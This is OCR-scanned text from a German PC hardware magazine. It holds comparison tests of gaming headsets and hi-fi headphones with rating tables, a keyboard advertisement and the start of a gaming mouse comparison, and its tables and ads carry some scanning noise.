Gute Stimmaufzeichnung und Rauschunterdrückung 


© Kabellose Funktionalität 
© Guter Klang 
© Relativ schwer, lockerer Sitz 


Wertung: 1,85 
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Seiten der Verarbeitung und Mate- 
rialanmutung gibt es kaum etwas 
zu kritisieren: Das H7 ist wie der 
H5 auch in der Tournament Edition 
dank des Federstahlbügels extrem 
flexibel, Halterungen, Plastikteile 
und Kabel wirken, als könnten sie 
selbst mutwillige Gewalteinwir- 
kung überstehen. Für 90 Euro ist 
das H7 TE ein tolles Angebot, insbe- 
sondere, falls Sie über keine Sound- 
karte und nur mäßig klingendes 
Onboard-Audio verfügen. 


Steelseries Siberia 840: Guter Klang, 
viele Features, kein Kabel. Auch das 
Siberia 840 ist im Grunde ein alter 
Bekannter. Wir haben das kabel- 
lose Headset in Form des Siberia 
800 schon in sehr ähnlicher Form 
getestet und für gut befunden. 


Der Preis von rund 330 Euro wirkt 
hoch, doch kommt das gut klingen- 
de Siberia 840 mit einem dicken 
Feature-Paket. Der Unterschied 
zum Siberia 800 macht im Grun- 
de nur der nun mögliche (mobile) 
Bluetooth-Betrieb aus, zuvor wa- 
ren Sie mit dem Siberia 800 zwar 
beweglich, doch mussten Sie sich 
in Funk-Reichweite der Tischbox 
aufhalten. Nun können Sie das Sibe- 
ria 840 auch via Smartphone mobil 
einsetzen. Optisch unterscheiden 
sich die Geräte nur durch die nun 
bedruckten Seitenteile des Hörers, 
das 840 bietet Plastik im Alu-Look, 
das 800 kommt mit Plastik, das sich 
für Fingerabdruck-anfälligen Kla- 
vierlack hält. Und damit können 
wir auch einen der größten Kri- 
tikpunkte des Vorgängers wieder- 


aufleben lassen: Das über 300 Euro 
teure Headset besteht beinahe voll- 
ständig aus eher wenig stabil wir- 
kendem und klapprigem Plastik, in 
dieser Preisklasse ist das definitiv 
unschön. 


Der Feature-Umfang, die Reichwei- 
te und der Komfort können dage- 
gen überzeugen. Der Sound ist ein 
wenig auf der tieftonlastigen Seite 
und die etwas zurückhaltenden 
Höhen könnten etwas mehr Aus- 
druckskraft vertragen, aber dies 
lässt sich mit dem Equalizer der 
in der Tischbox untergebrachten 
Soundkarte regeln. An dieser kön- 
nen Sie außerdem gleich mehrere 
Geräte verbinden, deren Audiosig- 
nale gar mischen und beispielswei- 
se neben dem Spiele-Audio auch 


noch Ihre Lieblingsmusik hören. 
Eine sehr praktische Chat-Mix- 
Funktion wird ebenfalls geboten. 
Dazu können auch Dolby-Inhalte 
via Dolby Digital (via Toslink) oder 
Dolby Pro Logic II wiedergegeben 
(pr) 


Starke Mittelklasse 

Bei Headsets ist ganz besonders die 
Mittelklasse um 100 Euro interessant. 
Hier bekommen Sie nicht nur häufig 
guten ausgewogenen und dennoch 
engagierenden Sound, sondern auch 
eine ansprechende Verarbeitungsqua- 
lität. Außerdem lassen sich hier häufig 
Feature-reiche Schnäppchen machen, 
siehe Sound Blaster X H7 TE. 


werden. 


SPAR-TIPP 


HEADSETS 


Auszug aus Testtabelle 


Hersteller 


Roccat (www.roccat.org/de-DE) 


A 


Dual Headset TMA-2 


Fnatic (www.fnatic.com) 


G231 Prodigy 


Logitech (www.logitech.com/de-de) 


Logitech 
6231 Prodigy 


Нагйшаге 


ca. 90 Euro / Gut 


Preis/Preis-Leistungs-Verhältnis 


ca. 150 Euro / Befriedigend 


ca. 50 Euro / Gut 


|PcGH:Preisveroleicn see 


www.pcgh.de/preis/1613282 


www.pcgh.de/preis/1503055 


Art Geschlossen, ohrumschließend Geschlossen, umschließend / aufliegend Geschlossen, ohrumschließend 
Gewicht ca. 240 Gramm ca. 220 Gramm ca. 280 Gramm 
Abmessungen Ohrmuschel (HxBxT) |10 x 8 x 3 cm 9x9x25cm/7x7x1cm 10x 8x 2,5 cm 

Impedanz 25 Ohm 32 0hm 32 Ohm 

Ausstattung (20 %) 2,50 2,48 2,50 

Anschlüsse 3,5-mm-Klinke (Dreipol, Vierpol) 3,5-mm-Klinke (Dreipol, Vierpol) 3,5-mm-Klinke (Dreipol, Vierpol) 


Bedienelemente 


Lautstárkeregler und Mikrofonstummschaltung am Gerät 


Mikrofonstummschaltung 


Kabelfernbedienung mit Lautstárkeregler und Mikrofonstumm- 
schaltung 


Zubehór/Soundkarte 


Eigenschaften (20 %) 
Auffälligkeiten 


1,75 


Klinkenadapter (2 x 3,5-mm-Dreipol) 


Viel Plastik, doch angenehme Materialanmutung und saubere 
Verarbeitung; wirkt stabil 


1,75 


Zweites Klinkenkabel (Vierpol) mit Mikro für mobilen Gebrauch; 
Tragetasche; zusätzliche Ohrpolster 


Komplett modular; umschließend oder aufliegend; viel Plastik, wirkt 
aber sehr stabil; flexibel 


2,17 


Klinkenadapter (2 x 3,5-mm-Dreipol) 


Sehr viel (klappriges) Plastik; eher mäßige Materialanmutung, aber 
ordentlich verarbeitet 


Ergonomie Angenehme Polsterung; leichtgewichtig und sehr bequem Angenehm leicht; sehr bequem; gute Isolation (umschlieBend) Weiche und luftige, aber etwas kratzige Kunststoffpolster, recht 
bequem 

Verarbeitung Keine Mángel Keine Mángel Keine Mängel 

Leistung (60 %) 1,84 2,02 2,04 

Spiele Satter Klang, gute Gegnerortung, gute Präzision Sehr kráftiger Bass; etwas schwache Mitten und leicht einge- Guter, kräftiger Spiele-Sound mit ordentlicher Detailabbildung 

schränkte Ortung und Ortung 

Musik Bassstark und etwas schwammig, aber ausgewogen, relativ gute |Tiefton stark im Fordergrund, kompromittierte Mitten; einge- Nicht übermäßig detailreich, etwas tieftonlastig, generell aber gut 
Detailabbildung schránkte Eignung geeignet 

Filme Natürlich anmutende Stimmen, unterhaltsamer Sound mit kräftigem |Tiefe Stimmen leicht verfärbt und brummig; Bombast-Sound Gute Stimmwiedergabe; nicht allzu prázise aber unterhaltsam 
Tiefton 

Klang Moderat basslastig; ansonsten erfreulich ausgewogen; recht Trotz , Esport-Auslegung" sehr tieftonfokussiert; etwas schwache | Moderat basslastige Abstimmung; ordentliche Mitten, gute Höhen 
detailreicher Klang Mitten, ordentliche Hóhen ohne starke Spitze 

Pegel Pegelfest bis zur maximalen Lautstárke Pegelfest bis zur maximalen Lautstärke (extrem hoch!) Pegelfest bis zur maximalen Lautstärke 


Stereo-Separation/Surround 


Recht gute Räumlichkeit und Ortung 


Ortung und Räumlichkeit gut 


Ordentliche Räumlichkeit und Ortung 


Aufnahmefunktion Mikrofon 


FAZIT 
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Gute Stimmqualität; voll tauglich für Spiel und Chat 


© Angenehmer Sound 
© Verarbeitung, Materialien 


© Gutes Mikrofon 


Wertung: 1,95 


Saubere und gut verständliche Aufnahme 


© Voluminöser Sound 
© Modular, bequem und leicht 
© Sehr basslastig 


Wertung: 2,06 


Etwas kratzige Stimmen; brauchbare Qualität für Chat und Spiel 


© Guter Sound 
© Fairer Preis 
© Wirkt sehr klapprig 


Wertung: 2,15 
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Vier Kopfhörer im Vergleichstest 


\Ҳ fir bewerten Kopfhörer mit 
einem etwas anderen Test- 
system als Headsets, schließlich 
sind bei den Hifi-Geräten einige 
Funktionen nicht vorhanden, bei- 
spielsweise das Mikrofon oder Sur- 
round-Sound. Dies rückt den Fokus 
der Wertung nochmals deutlicher 
auf den Klang, welcher zudem 
strenger bewertet wird. Die ein- 
zelnen Leistungsnoten sind daher 
nicht 1:1 zu vergleichen. 


Yamaha HPH-MT5: Günstiger Kopf- 
hörer mit erfreulich gutem Sound. 
Der günstigste Kopfhörer in unse- 
rem Testfeld ist der kompakte und 
leichte HPH-MT5. Neben diesem 
hat Yamaha außerdem einen grö- 
ßeren Bruder in Form des HPH- 
MTS im Angebot. Der geschlosse- 


ne HPH-MT5 ist als Studiohörer 
klassifiziert und ist dank des aus- 
gewogenen, wenn auch wenig ana- 
lytischen Klangbilds, im Grunde 
auch für diese Rolle geeignet. Ganz 
neutral wirkt der Hörer allerdings 
nicht. Und auch wenn die Detailab- 
bildung erfreulich hoch ist, der 
Yamaha-Kopfhörer ist unserer Mei- 
nung eher für den Alltagsgebrauch 
oder Hobby-Musiker geeignet. 


Das ist aber natürlich kein Bein- 
bruch, denn als günstiger Allround- 
Kopfhörer (auch für unterwegs) 
macht der HPH-MT5 eine sehr 
gute Figur. In Spielen gefällt der 
detaillierte, präzise Sound und der 
kräftige und knackige, jedoch nicht 
überbetonte Bass. Beim Musikhö- 
ren ist ebenfalls Freude angesagt. 


Der T20RP setzt wie die gesamte Reihe auf Fostex' Regular-Phase-Technik anstelle 
konventioneller Treiber. Im Bild kónnen Sie die Kupferspule erkennen. 


Auch die Signature-Reihe nutzt Ultrasones S-Logic-Technologie. Durch den geschickt 
durch diverse Kanále geleiteten Klang entsteht die tolle Ráumlichkeit. 
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Trotz des niedrigen Preises ist 
der Yamaha.Hórer voll für Musik 
geeignet und schreckt auch vor 
anspruchsvollem Material nicht 
zurück. Die Tiefenstaffelung ist 
für einen schmalen, geschlossenen 
Hörer gut, im Vergleich zu ande- 
ren Kopfhörern in diesem Testfeld 
lisst der Yamaha HPH-MT5 aber 
etwas Ràumlichkeit vermissen. Der 
günstige Preis, der hohe Komfort, 
die stabile Verarbeitung und der 
den meisten Headsets überlegene 
Klang machen den HPH-MT5 auch 
für preisbewusste Spieler mit Au- 
dio-Faible sehr interessant und in 
diesem Test zu unserem Spar-Tipp. 


Fostex T20RP mk3: Sehr robuster, gut 
klingender Hörer. Der T20RP gehört 
zu einer Reihe aus drei technisch 
sehr ähnlichen Kopfhörern, die 
zum gleichen Preis von rund 140 
Euro erhältlich sind. Sie unterschei- 
den sich durch Abstimmung und 
Bauart. Der T4ORP ist geschlos- 
sen und neutral abgestimmt, der 
T50RP halboffen. 


Unser T20RP ist offen gestaltet, 
bekam eine leichte Bassbetonung 
und wurde auf Unterhaltung abge- 
stimmt. Die Treiber der einzelnen 
Hórer sind identisch. Interessan- 
terweise kommen keine konven- 
tionellen Lautsprecher zum Ein- 
satz, sondern Fostex' patentierte 
Regular-Phase-Technologie. Anstatt 
eine Membran mit einem zentra- 
len Magneten in Schwingung zu 
versetzen, nutzen die RP-Modelle 
eine aus geätztem Kupfer gefertig- 
te Schwingspule. Auf dieser ist die 
Membran angebracht, mehrere da- 
rüber und darunter angeordnete 
Neodym-Magneten treiben die frei 
schwingende Kupferspule an. Dies 
soll für eine hóhere Steifigkeit so- 
wie Präzision gegenüber konventi- 
onellen Treibern sorgen. 


Ob das tatsächlich der Fall ist, lässt 
sich nicht mit Bestimmtheit sagen. 
Wohl aber, dass der T20RP sehr 
gut und präzise Klingt. Der betonte 
Bass ist nicht überbordend, son- 
dern recht knackig, straff und trotz 
der offenen Bauweise recht präzi- 
se. Die Mitten gefallen mit starker 
Ausdruckskraft, die 
Höhen stellen viele Details aus dem 


detaillierte 


Klangbild heraus. Egal für welches 
Einsatzgebiet, der Fostex T20RP 
macht eine gute Figur. 


Der sehr gefällige Sound wird von 
einem hohen Komfort begleitet. 
Trotz des etwas eigensinnigen und 
extrem robusten, beinahe schon 
übertrieben kräftig wirkenden Äu- 
ßeren, dem etwas hohen Gewicht 
und den breiten, aber sehr dünnen 
Polstern sitzt der Kopfhörer auch 
über Stunden außerordentlich be- 
quem. Die mit anschmiegsamem 
Kunstleder ummantelten Polster 
sind flauschig-weich und vertei- 
len das Gewicht effizient auf dem 
Kopf. Dank der offenen Bauwei- 
se sind außerdem keine heißen 
Ohren zu befürchten. Für rund 
140 Euro bekommen Sie mit dem 
T20RP einen wirklich sehr gutem 
Kopfhörer mit einem unterhaltsa- 
men und hochauflösenden Klang- 
bild. Die stabile Fertigung wirkt zu- 
dem, als könnte er auch Jahrzehnte 
harten Gaming-Alltag wegstecken 
- der Hörer macht auch in diesem 
gehobenen Testfeld einen überzeu- 
genden und bleibenden Eindruck. 
Eine Wertung, welches wir auch 
auf den geschlossenen T40RP zu 
weiten Teilen übertragen können. 
Den geschlossenen Hörer haben 
wir uns zum Vergleich organisiert. 
Er klingt deutlich neutraler und hat 
einen eher zurückhaltenden Bass, 
ist aber qualitativ ebenso gut. 


Ultrasone Signature Studio: Kristall- 
klarer, sehr beeindruckender Klang. 
Der Signature Studio ist mit 500 
Euro der günstigste Hörer der noch 
jungen Signature-Reihe (außerdem 
erhältlich Signature DJ für 600 
Euro und Pro für 750 Euro). Aber 
natürlich wirkt der Preis dennoch 
sehr hoch. Daran ist auch das op- 
tisch eher zurückhaltende Äußere 
nicht ganz unschuldig, obwohl 
sowohl die sehr hochwertige und 
robuste Materialanmutung als auch 
die piekfeine Verarbeitung bei 
genauerer Betrachtung anderes 
suggerieren. Ultrasone-Kopfhörer 
haben einen sehr eigenen Klang, 
das können wir nach mittlerweile 
vier getesteten Hörern bekräftigen. 
Diese Eigenheit erfordert eine ge- 
wisse Eingewöhnungsphase. Sitzt 
der bequeme und gut isolierende 
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FLEXIBEL UND ULTRA-KOMPAKT 


Die SKILLER MECH SGK2 von Sharkoon setzt 
ganz auf klare Linien und Flexibilität. Ihre Ober- 
fläche aus verstärktem Metall ist robust und 
griffig, ihr Design schnörkellos und ultra-kom- 
pakt. Auf Nummernblock und Handballenaufla- 
ge haben wir bewusst verzichtet. 

Die SGK2 ist damit für den harten Einsatz ge- 
macht, egal ob daheim, auf der Arbeit oder 
beim eSport. Selbstverständlich können alle 
Tastenfunktionen ohne Installation einer Soft- 
ware genutzt werden. Neben N-Key-Rollover, 


Anti-Ghosting-Keys, Gaming-Modus und Funkti- 
onstasten mit voreingestellten Multimedia-Aktio- 
nen bietet sie eine praktische On-The-Fly-Makro- 
aufnahme. 

So können Makros mit wenigen Handgriffen 
aufgezeichnet und ganz bequem über fünf Ma- 
krotasten an der Seite abgerufen werden. 

Die SGK2 verfügt weiterhin über eine klassisch 
weiße Hintergrundbeleuchtung sowie bewährte 
mechanische Kailh-Schalter in wahlweise blau, 
rot oder braun. 
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Kopfhörer erstmals auf dem Kopf, 
wirkt der Klang anfangs sehr kühl, 
beinahe schon grell. Nach etwa ein 
bis zwei Stunden hat sich das Ohr 
auf den Hörer eingestellt und nun 
beginnt das Staunen: Der Sound 
wirkt auch nach der Eingewöh- 
nung analytisch, der Bass eher zu- 
rückhaltend. Doch es ist beinahe 
unglaublich, mit welcher Detail- 
versessenheit und Präzision der 
Ultrasone-Kopfhörer auch kleinste 
Feinheiten wie mit dem Skalpell 
aus dem Klangbild heraustrennt. 


Beinahe noch beeindruckender 
ist die fast schon endlos wirkende 
Bühne. Welche Tiefenstaffelung 
dieser geschlossene Hörer aufzu- 
stellen weiß, ist kaum zu glauben. 
Eine solche bieten selbst sehr gute, 
frei spielende und ebenfalls recht 
hochpreisige Konkurrenzprodukte 
(z. B. AKG K 712, UVP 399 Euro) 
nicht. Der Signature Studio lechzt 


aus diesem Grund allerdings auch 
nach sehr hochwertigem Audioma- 
terial, klingt bei wenig anspruchs- 
vollen Songs beinahe schon lang- 
weilig und deckt darüber hinaus 
Aufnahmefehler gnadenlos auf. 
Wegen der neutralen, klaren und 
höhenfokussierten Abstimmung 
können Sie beim Spielen zwar un- 
zählige akustische Feinheiten aus- 
machen und Gegner präzise orten, 
doch ist das Klangbild auf Dauer 
etwas anstrengend. Selbiger Um- 
stand betrifft auch die Musikwie- 
dergabe und den Filmgenuss. Dies 
beinflusst die Alltagstauglichkeit 
des Signature Studios, nicht jeder- 
mann wird an diesem Klangbild 
Freude haben. Diese Faktoren kos- 
ten den Ultrasone-Hörer den Top- 
Award. 


Fostex TH-610: Sündteurer Edel- 
Hörer. Der Top-Award geht stattdes- 
sen an den Fostex TH-610. Im Ge- 


KOPFHÖRER 


Auszug aus Testtabelle 


Produkt 


Hersteller 


Signature Studio 
Ultrasone (www.ultrasone.audio/de) 


TH-610 


Fostex (www.fostexinternational.com) 


gensatz zum Ultrasone lässt dieser 
edle Hifi-Kopfhörer für rund 650 
Euro keinen Zweifel daran, dass er 
ein Luxus-Produkt ist. Das außeror- 
dentlich schöne Design, die Quali- 
tät der Materialien und die extrem 
saubere Verarbeitung sind aber nur 
eine Seite des TH-610. Der Komfort 
ist mindestens ebenso luxuriös wie 
das Erscheinungsbild und auch die 
klanglichen Qualitäten stehen dem 
erfreulicherweise nicht nach. 


Das ausgewogene Klangbild des 
Hörers ist wohlig-warm und eher 
auf Unterhaltung denn sklavische 
Wiedergabetreue ausgelegt, wobei 
keine Frequenz unter- oder über- 
betont erscheint und die Präzision 
und sehr hohe Auflösung beinahe 
an den Ultrasone herankommen. 
Auch hier ist die Tiefenstaffelung 
sehr eindrücklich, allerdings ist der 
Ultrasone in dieser Disziplin deut- 
licher im Vorteil. Dafür bietet der 
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T20RP mk 3 HPH-MTS 


Hardware 


T20RP mk 3 


Fostex (www.fostexinternational.com) 


Hardware 


TH-610 echte Allround-Fähigkeiten 
und nervt auch nach Stunden nicht 
mit anstrengenden Höhen. Beim 
TH-610 zahlen Sie Geld für in der 
Praxis nutzloses Aussehen, daran 
gibt es wohl keinen Zweifel. Einen 
Preis-Leistungs-Kracher dürfen Sie 
daher nicht erwarten. Sie zahlen 
jedoch auch für einen erstklassigen 
Komfort und den herrlichen, für je- 
den Zweck geeigneten Sound. (pr) 


Fazit Нагйшаге 


Günstig muss nicht schlecht sein 

Sowohl Ultrasone Signature Studio als 
auch Fostex TH-610 sind mit ihrem ho- 
hen Preis gewiss nichts für jedermann. 
Doch müssen Sie nicht dermaBen viel 
Geld in die Hand nehmen, um einen 
Kopfhörer zu erhalten, der besser 
klingt als sämtliche Headsets dieses 
Tests. Diese Hürde nehmen bereits der 
Yamaha HPH-MT5 sowie Fostex T20RP. 


Нагйшаге 


НРН-МТ5 


Yamaha (de.yamaha.com) 


Preis/Preis-Leistungs-Verháltnis 


ca. € 500,- / Ausreichend 


ca. € 650,- / Mangelhaft 


ca. € 140,- / Gut bis sehr gut 


са. € 100,- / Sehr gut 


PCGH-Preisvergleich Noch nicht aufgeführt 


www.pcgh.de/preis/1469320 


www.pcgh.de/preis/1315195 


www.pcgh.de/preis/1561731 


Art Geschlossen, ohrumschlieBend Geschlossen, ohrumschlieBend Offen, ohrumschlieBend Geschlossen, ohrumschlieBend 

Gewicht ca. 300 Gramm ca. 400 Gramm ca. 350 Gramm ca. 250 Gramm 

Abmessungen Ohrmuschel (H x B xT) 10x 85 x 2,5 cm 10 x 10x 3 cm 10,5 x 10 x 1,5 cm 10x 7,5 x2c«m 

Impedanz 32 Ohm 25 Ohm 50 Ohm 51 Ohm 

Ausstattung (20 %) 1,92 2,08 2,33 2,50 

Anschlüsse 6,3 mm und 3,5-mm Klinke 6,3 mm Klinke (Kabel) (2,0) 6,3 mm und 3,5-mm Klinke 6,3 mm und 3,5-mm Klinke 

Zubehör Spiralkabel, stabile und hochwertige Tragetasche | Tragetasche Zweites, kürzeres Klinkenkabel (3,5-mm-Klinke) |Adapter von 6,3 auf 3,5 mm Klinke 

Sonstiges Kabel wechselbar Kabel wechselbar, üppig dimensioniert, robuste |Kabel wechselbar Kabel wechselbar 

Nylon-Ummantelung 

Eigenschaften (20 %) 1,20 1,10 1,52 1,62 

Auffälligkeiten Wirkt extrem robust, sehr saubere Verarbeitung |Erstklassige Materialanmutung und Verarbeitung | Sehr stabil und kräftig dimensioniert, gute Gute Materialanmutung, sauber verarbeitet, 
Verarbeitung flexibel 


Ergonomie 


Wirkt leicht und sitzt sehr bequem; nicht über- 
mäßig anschmiegsam 


Trotz hohem Gewicht außergewöhnlich bequem 
und auch längerfristig sehr komfortabel 


Schmale, aber effektive Polsterung, sehr hoher 
Komfort 


Leicht und bequem, gute Isolation 


Verarbeitung Keine Mängel (1,0) Keine Mángel (1,0) Keine Mángel Keine Mángel 

Leistung (60 %) 121 1,20 1,58 1,73 

Spiele Extrem detaillierter, aber unterkühlter Klang mit | Sehr guter, kraftvoller, detaillierter Spielesound Luftiger und kräftiger Sound, präzise Gegner- |Ausgewogener Spielesound mit guter Ortung, 
fast perfekter Ortung mit sehr guter Ortung ortung, hohe Auflösung viele Details, knackiger Bass 

Musik AuBerordentlich sauber, präzise und klar; Sehr unterhaltsame, hochdetaillierte und aus- |Апдепеһт warmer Sound, satter Bass und hohe | Ins warme tendierender Sound; straffer, satter 
enttarnt Aufnahmefehler gnadenlos; wirkt gewogene Musikwiedergabe; bestens geeignet |Detailabbildung Bass, sehr gute Eignung 
kühl-analytisch für alle Genres 

Filme Sehr präzise und außerordentlich dynamisch; auf | Astreine Stimmwiedergabe, kräftiger Tiefton, rima Kino-Atmosphäre dank weiter Bühne und |Saubere Stimmwiedergabe und angenehmer, 
Dauer etwas anstrengend hohe Dynamik kräftigem, dynamischen Klang detaillierter Klang 

Klang Kristallklarer, beinahe greller Sound; eher schwa- | Sehr angenehmer, leicht warmer und hochdetail- | Nicht völlig linear, kräftiger Bass und klare Eher unterhaltsam denn kühl-analytisch, aber 
cher Bass; extrem detailreich und massive Bühne | lierter Klang mit sehr viel Dynamik Höhen ausgewogen; Bass mit sattem Punch 

Pegel Pegelfest bis maximale Lautstärke Pegelfest bis maximale Lautstärke egelfest bis maximale Lautstärke Pegelfest bis maximale Lautstärke 


Stereo-Separation/Surround 


FAZIT 
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Außerordentlich beeindruckende, präzise Tie- 
fenstaffelung 

© Extrem detailreicher Klang 

Q Sehr robust und stabil 


© Wirkt unterkühlt; wenig Bass 


Wertung: 1,35 
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Ausgezeichnete und prázise Tiefenstaffelung 


© Herrlicher Klang 
Q Sehr bequem; Verarbeitung 
© Exorbitant teuer 


Wertung: 1,36 


Schöne Tiefenstaffelung und luftige Räumlichkeit 


© Sehr guter, luftiger Sound 
© Wirkt extrem robust 
© Preis-Leistung 


Wertung: 1, 


Etwas eingeschränkte Tiefenstaffelung, aber 
noch gut 

© Guter Allround-Sound 

© Leicht und bequem 

© Sehr fairer Preis 


Wertung: 1,86 
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Dig (tal Abo 


12 x PCGH 
+ Pramie А 
für nur 39,99 € S 


Lesen Sie in Zukunft die Digitalaus- 
gabe bequem auf Ihrem iOS-, And- 


roid-, Amazon-Gerát oder PC (auch 8 
als Download-PDF). DE ] p D zg e H 
-2400 bis DDR4- sech? 


изиг geprüft Tests von DDR4- 


me I RAM-Kits mit 


NEU: Als Digital-Abonnent haben Sie 
Jetzt erstmals Zugriff auf die Jahres- RGB-LED-Beleuchtung 
Bendgate 2.0: Kritische Kühler 


archive ab 2001 (im PDF-Format): — 
Lv Das muss Kaby Lake aushalten! 
e 
ee | Titan Xp + GTX 1080 (11 Gbps) 


karten ihr Geld wert? «= 


Sind die schnellen Grafik 


amazonde EES Ryzen 5 1600 vs. Core 
22992 i5-7600K im Multiplayer-Test 


Escape from Tarkov, Playerunknown's 
Battlegrounds, Rainbow Six Siege, Ark: Survival Evolved s» 


Inklusive 
TFE , m Е =] | Die besten Monitore 


10- Euro-Gutschein e" 
von Amazon.de MI : 7.1] Sm 


INFRASTRUKTUR | Vergleichstest: Spielermäuse 


Ein Spielche [ 
gefällig? 


Eine empfehlenswerte Spielermaus muss 


eine präzise Sensorleistung liefern und 


optimal in der Hand liegen. Diese Kriterien 
erfüllen alle Nager dieser Marktübersicht, 
die oft noch mit viel Spezialausstattung 
um die Gunst des Zockers buhlen. 
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peziell für Spieler entwickel- 

te Mäuse haben sich von Ein- 
gabegeräten mit einer präzisen 
Sensorleistung, Dpi-Umschaltung 
und zwei bis drei Zusatztasten zu 
wahren Ausstattungswundern 
entwickelt. Ähnlich wie bei den 
mechanischen Tastaturen gehö- 
ren eine RGB-Beleuchtung, ein 
interner Speicher und eine Makro- 
funktion mittweile zum Standard. 
Dinge wie wechselbare Seitentei- 
le, Oberschalen oder Fingerabla- 
gen sind dagegen optional und 
auch abseits der Möglichkeit, die 
Form und damit die Ergonomie 
der Maus an den bevorzugten 
Griffstil anzupassen, überraschen 
die Peripheriehersteller 
wieder mit innovativen Features. 


immer 


Razer beispielsweise präsentiert 
mit der neuen Basilisk erstmalig 
einen als Clutch bezeichneten Zu- 
satzknopf, der speziel auf Spielmo- 
mente zugeschnitten ist, in denen 
gezielt in den Sniper-Modus umge- 
schaltet, die Push-to-Talk-Funktion 
aufgerufen oder die offene Visie- 
rung aktiviert wird. Bei Patriots 
Viper V560 lässt sich die Hubhöhe 
per Knopfdruck minimieren oder 
alternativ die Pfadbegradigung 
(Angel Snapping) deaktivieren. Bei 
Logitechs G603 gibt der besonders 
stromsparend abtastende optische 
HERO-Sensor sein Debüt und die 
Ventus X RGB von Tt esports macht 
mit einer offenen Heckkonstrukti- 
on, die der Schweifsbildung in der 
Handinnenfläche entgegenwirken 
soll, auf sich aufmerksam. Wie Sie 
selbst sehen, von der Stange ist kei- 
ner der von uns getesteten Nager 
und die gewählten Geräte haben 
mehr zu bieten als nur eine bunt 
blinkende Beleuchtung. Doch wie 
nützlich ist die restliche Sonderaus- 
stattung? Dieser Frage müssen sich 
die zehn Teilnehmer dieses Ver- 
gleichstests unter Anderem stellen. 


Razer Basilisk: Ergonomischer Test- 
sieger mit nützlicher Extraausstat- 
tung für Shooter-Spieler. Razer hat 
die Basilisk, den Erstplatzierten 
dieses Vergleichstests, mit Fokus 
auf den FPS-Spieler entwickelt. 
Um Ego-Shooter-Fans die mit dem 
hauseigenen optischen 5G-Sensor 
(16.000 Dpi) bestückte Rechts- 
händermaus schmackhaft zu ma- 
chen, spendiert Razer der Basilisk 
mit dem stufenlos verstellbaren 
Mausradwiderstand und dem als 
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Clutch bezeichneten Schalter am 
vorderen Ende der Daumenablage 
zwei Extras, die durchaus Shooter- 
tauglich sind. Neben den sechs frei 
programmierbaren Tasten - der 
Clutchknopf gehört dazu - befin- 
det sich am Mausboden eine wei- 
tere Taste, mit der man zwischen 
den fünf speicherbaren Profilen 
umschalten kann. Der Speicher 
nimmt zusätzlich die pro Profil 
erstellten Dpi-Stufen, Makros und 
die Beleuchtungseinstellungen 
auf. In der neuen Synapse 3-Beta- 
Software stehen für die Chroma- 
RGB-Beleuchtung von Mausrad 
und Hecklogo sieben vorgefertigte 
Lichteffekte inklusive Tempomo- 
difikation sowie ein individueller 
Farbwahlmodus bereit. Obwohl 
aktuell noch in der Beta-Phase, 
präsentiert sich Razers Synapse- 
3-Software nicht nur übersichtlich 
und  anwenderfreundlich. Mit 
Ausnahme der festgelegten Licht- 
tricks können die für jedes Profil 
getätigten Einstellungen auch an 
ohne Synapse-Soft- 
ware wieder abgerufen werden. 


Rechnern 


Mit 127 mm Länge und 75 mm 
Breite ist die Basilisk für normal- 
große Hände konzipiert, trotzdem 
liegt sie auch ergonomisch in ei- 
ner großen Spielerhand mit langen 
Fingern. Dabei ist es egal, ob die 
Palm- oder Claw-Griffart zum Ein- 
satz kommt. Bei Letzterer profitiert 
man von der gummierten Partie am 
rechten Seitenteil sowie von der an- 
genehm großen und ebenfalls mit 
einer sehr griffigen Gummistruk- 
tur versehenen Daumenablage. 


Logitech Powerplay in der Praxis: 
Mausladung per Induktionspad 


Der Akku ihres Nagers ist leer und Sie können ihn nur in einer Station la- 
den? Mit Logitechs Mauspad mit Powerplaytechnik wäre das nicht passiert. 


Mit der G903 und G703 Lightspeed präsentiert Logitech zwei drahtlose Mäuse, die 

mit der neuen Lightspeed-Technologie ihr Signal zum PC schicken. Beide Mäuse sind 
baugleich mit ihren Vorgängern G900 und G403, daher übernehmen wir in der Testta- 
belle deren Wertungen und testen die beiden Lightspeed-Nager mit Logitechs neuem 
Powerplay-Mauspad, welches den Akku per Induktionsspannung auflädt. Damit das 
klappt, muss das Powercore-Modul in den Schacht eingesetzt werden, der ansonsten für 
das Zusatzgewicht genutzt wird. Das Powerplay-Pad wird mit einem ca. 180 cm langen 
Kabel sowie je einer Stoff- und einer Kunststoffauflage ausgeliefert. Dabei ist der Start- 
und Reibwiderstand bei der Stoffoberfläche spürbar höher als beim Kunststoffpendant. 


Logitech MX Ergo: Renaissance 
des ergonomischen Trackballs 


Lange waren Trackball-Mäuse, bei denen man Zeigerbewegungen per Kugel 
und Daumen ausführt, vergriffen. Logitech präsentiert nun die Neuauflage. 


Spielen kann man mit der 
MX Ergo kaum und der Ein- 
satz am Ultra-HD-Bildschirm 
ist wegen der niedrigen 
Abtastrate von 440 Dpi auch 
problematisch. Wer aber seine 
Hand bei der Büroarbeit scho- 
nen muss, weil das Führen der 
Maus schmerzt, für den ist die 
м МХ Ergo eine willkommene 
Maus-Alternative. 


Das Arbeiten mit der MX Ergo ist nur anfänglich gewöh- 
nungsbedürftig und man versucht ab und zu das ganze 
Gerät zu bewegen. Ist die Eingewöhnungsphase jedoch 
beendet, hat man ein Gefühl für die Mauszeigerbewe- 
gungen per Kugel entwickelt und agiert mit der MX Ergo 
ähnlich schnell wie mit einer klassischen Maus. Für sehr 
| präzise und feine Zeigerbewegungen, beispielsweise 
beim Arbeiten mit Adobe Photoshop, kann man die Dpi- 
Zahl per Knopfdruck spürbar verringern. Hier reagiert die 
Kugel sehr empfindlich und muss für weite Mauszeiger- 
wege sehr oft gedreht werden. Um die Ergonomie zu 
optimieren, kann der Winkel der Basisplatte um 20 Grad 
verstellt werden. Dann liegt die Handinnenfläche nicht 
horizontal, sondern leicht schräg auf der ergonomisch 
geformten Oberschale. 
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Ergonomie-Anpassungen im Detail 


Die menschliche Hand ist nicht genormt und Handgrößen sowie Finger- 
längen variieren von Spieler zu Spieler. Damit eine Maus trotzdem nahezu 
perfekt in der Hand liegt, lassen sich einige Modelle umbauen. 


Die Idee, Seitenteile, Oberschalen oder Griffmulden modular montieren zu können, 
damit die Maus optimal in der Hand liegt, ist nicht neu. Vorreiter war die Firma Mad 
Catz mit ihren Modellen der R.A.T.-Reihe und der bisher wohl modularsten Maus, 
der R.A.T. Pro X. Auch drei unserer Testnager lassen sich für eine nahezu optimale 
Ergonomie modifizieren. Corsair liefert die Glaive RGB mit drei verschiedenen 
Daumengriffen aus, von denen zwei gummiert sind. Sie garantieren einen optimalen 
